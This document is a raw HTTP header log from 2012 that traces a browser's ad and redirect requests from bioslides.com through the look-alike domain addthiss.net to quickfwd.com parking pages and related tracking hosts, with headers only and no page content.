Content-Type: text/javascript; charset=UTF-8

P3P: policyref=&quot;http://www.googleadservices.com/pagead/p3p.xml&quot;, CP=&quot;NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC&quot;
Etag: 5725237117596964362
Date: Thu, 01 Nov 2012 01:09:11 GMT
Expires: Thu, 15 Nov 2012 01:09:11 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: cafe
Content-Length: 327
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=1209600
Age: 472086
GET /viewad/3788459/468x60_NO_txm_jacken_tem_vr_120910.gif HTTP/1.1

Host: s0.2mdn.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6089550885596733&amp;output=html&amp;h=60&amp;slotname=3983885902&amp;w=468&amp;lmt=1269473494&amp;flash=10.0.45&amp;url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&amp;dt=1352204235548&amp;bpp=12&amp;shv=r20121023&amp;jsv=r20110914&amp;correlator=1352204236098&amp;frm=20&amp;adk=524902064&amp;ga_vid=1973665997.1352204236&amp;ga_sid=1352204236&amp;ga_hid=31892097&amp;ga_fc=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=8&amp;u_nmime=54&amp;dff=trebuchet%20ms&amp;dfs=16&amp;adx=354&amp;ady=584&amp;biw=1176&amp;bih=778&amp;oid=3&amp;fu=0&amp;ifi=1&amp;dtd=666&amp;xpc=FRfswd0sig&amp;p=http%3A//www.bioslides.com
 
HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Thu, 13 Sep 2012 09:00:14 GMT
Date: Tue, 06 Nov 2012 12:17:17 GMT
Expires: Wed, 07 Nov 2012 12:17:17 GMT
Cache-Control: public, max-age=86400
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 25677
X-XSS-Protection: 1; mode=block
GET /?dn=addthiss.net&pid=9POIZ5V76 HTTP/1.1

Host: quickfwd.com
GET /?dn=addthiss.net&amp;pid=9POIZ5V76 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://addthiss.net/in.cgi?8
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 06 Nov 2012 12:17:17 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.16
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 1242
Keep-Alive: timeout=5, max=103
Connection: Keep-Alive
GET /favicon.ico HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: secheck=777
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Date: Tue, 06 Nov 2012 12:17:17 GMT
Server: Apache
Last-Modified: Tue, 08 May 2012 05:03:37 GMT
Accept-Ranges: bytes
Content-Length: 0
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /?dn=addthiss.net&fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&cifr=1& HTTP/1.1

Host: quickfwd.com
GET /?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp; HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;pid=9POIZ5V76
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 06 Nov 2012 12:17:17 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.16
Set-Cookie: vsid=910vr997498377310221; expires=Sun, 05-Nov-2017 12:17:17 GMT; path=/; domain=quickfwd.com; httponly
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 3656
Keep-Alive: timeout=5, max=128
Connection: Keep-Alive
GET /__media__/js/min.js?v1.6 HTTP/1.1

Host: i3.cdn-image.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp;
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: nginx/1.0.4
Last-Modified: Tue, 16 Oct 2012 06:33:23 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: public, max-age=64305
Expires: Wed, 07 Nov 2012 06:09:04 GMT
Date: Tue, 06 Nov 2012 12:17:19 GMT
Content-Length: 3042
Connection: keep-alive
GET /__media__/pics/7375/right.gif HTTP/1.1

Host: i3.cdn-image.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp;
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.4
Content-Length: 3558
Last-Modified: Wed, 25 Apr 2012 16:49:32 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=47938
Expires: Wed, 07 Nov 2012 01:36:17 GMT
Date: Tue, 06 Nov 2012 12:17:19 GMT
Connection: keep-alive
GET /__media__/pics/7375/btn1.gif HTTP/1.1

Host: i2.cdn-image.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp;
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.4
Content-Length: 1624
Last-Modified: Wed, 25 Apr 2012 17:06:57 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=47938
Expires: Wed, 07 Nov 2012 01:36:17 GMT
Date: Tue, 06 Nov 2012 12:17:19 GMT
Connection: keep-alive
GET /__media__/pics/7375/left.gif HTTP/1.1

Host: i2.cdn-image.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp;
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.4
Content-Length: 3554
Last-Modified: Wed, 25 Apr 2012 16:49:33 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=47914
Expires: Wed, 07 Nov 2012 01:35:53 GMT
Date: Tue, 06 Nov 2012 12:17:19 GMT
Connection: keep-alive
GET /__media__/pics/7375/searchbg.gif HTTP/1.1

Host: i2.cdn-image.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp;
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.4
Content-Length: 1548
Last-Modified: Wed, 25 Apr 2012 16:49:31 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=47938
Expires: Wed, 07 Nov 2012 01:36:17 GMT
Date: Tue, 06 Nov 2012 12:17:19 GMT
Connection: keep-alive
GET /sk-pxbrdg.php?rdiu=X55g%3ADD4vV4fY.JvVDQ%3FJPzGb%26UPSf%2F9W5f%2BRX1NWBs HTTP/1.1

Host: targetedtopic.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://quickfwd.com/?dn=addthiss.net&amp;fp=iOUPWtt7J%2FuPQO3TFsde2Na1Z%2FlyaA3D1I7%2BLcBX6%2Bbz5KQ4CJere2TOBtqzn2KMR2%2B8nDIyD%2BrCnc3hk75LwA%3D%3D&amp;prvtof=Z3NtyfwntD%2FHNx74ybGsEzVtVxHep5rHQU63FiDCRzdHMUhxnrqlS8WTHul0N%2BUC&amp;poru=H2XpaJMPoGJrAHMl2D2RnAVBMHxas0Yw%2FeIU17pj5XFBaK%2BxgkayxAEhsWe7fW1B4foLim2JWP86e9qJE2kBk5bLm3VSbF8QdtrdrPWM48c%3D&amp;cifr=1&amp;
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 06 Nov 2012 12:17:19 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.16
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 163
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /sk-ckpro.php?rdfu=X55g%3ADD4vV4fY.JvVDQ%3FJPzGb%26UPSf%2F9W5f%2BRX1NWBs HTTP/1.1

Host: www.targetedinfo.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://targetedtopic.com/sk-pxbrdg.php?rdiu=X55g%3ADD4vV4fY.JvVDQ%3FJPzGb%26UPSf%2F9W5f%2BRX1NWBs
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 06 Nov 2012 12:17:19 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.16
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 105
Keep-Alive: timeout=5, max=103
Connection: Keep-Alive
GET /f?c=120&k=Website+Sharing HTTP/1.1

Host: domdex.com
GET /f?c=120&amp;k=Website+Sharing HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.targetedinfo.com/sk-ckpro.php?rdfu=X55g%3ADD4vV4fY.JvVDQ%3FJPzGb%26UPSf%2F9W5f%2BRX1NWBs
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 06 Nov 2012 12:17:20 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Pragma: no-cache
Cache-Control: private, no-cache
Set-Cookie: sp=a43dacad7ef4a2671d21358eb9406fee; expires=Sat, 05-Jan-2013 12:17:20 GMT; path=/; domain=.domdex.com
Vary: Accept-Encoding
Content-Encoding: gzip
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;ALL CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT&quot;
Content-Length: 20
Connection: close
GET /favicon.ico HTTP/1.1

Host: quickfwd.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: vsid=910vr997498377310221
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Tue, 06 Nov 2012 12:17:20 GMT
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 30
Keep-Alive: timeout=5, max=122
Connection: Keep-Alive
GET /favicon.ico HTTP/1.1

Host: quickfwd.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: vsid=910vr997498377310221
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Tue, 06 Nov 2012 12:17:23 GMT
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 30
Keep-Alive: timeout=5, max=111
Connection: Keep-Alive